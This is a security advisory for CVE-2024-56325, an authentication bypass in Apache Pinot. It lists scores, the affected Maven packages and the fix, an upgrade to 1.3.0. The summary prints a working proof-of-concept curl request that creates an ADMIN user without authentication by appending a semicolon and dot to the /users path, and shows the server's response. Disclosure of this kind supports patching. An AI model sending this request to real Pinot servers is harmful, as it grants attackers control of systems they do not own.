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CRITICALCVSS 9.3EPSS 79.4%

CVE-2024-56325

Apache Pinot Vulnerable to Authentication Bypass

Published
2025-04-01
Modified
2026-08-31
EPSS percentile
100%
Aliases
GHSA-6jwp-4wvj-6597
Sources
github-advisory

Summary

Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added bypassing authentication, enabling the user to control Pinot.

Affected packages

EcosystemPackageAffected versionsFixed versions
Mavenorg.apache.pinot:pinot-broker1.3.0
Mavenorg.apache.pinot:pinot-common1.3.0
Mavenorg.apache.pinot:pinot-controller1.3.0

Remediation: Upgrade to 1.3.0 or later.

References

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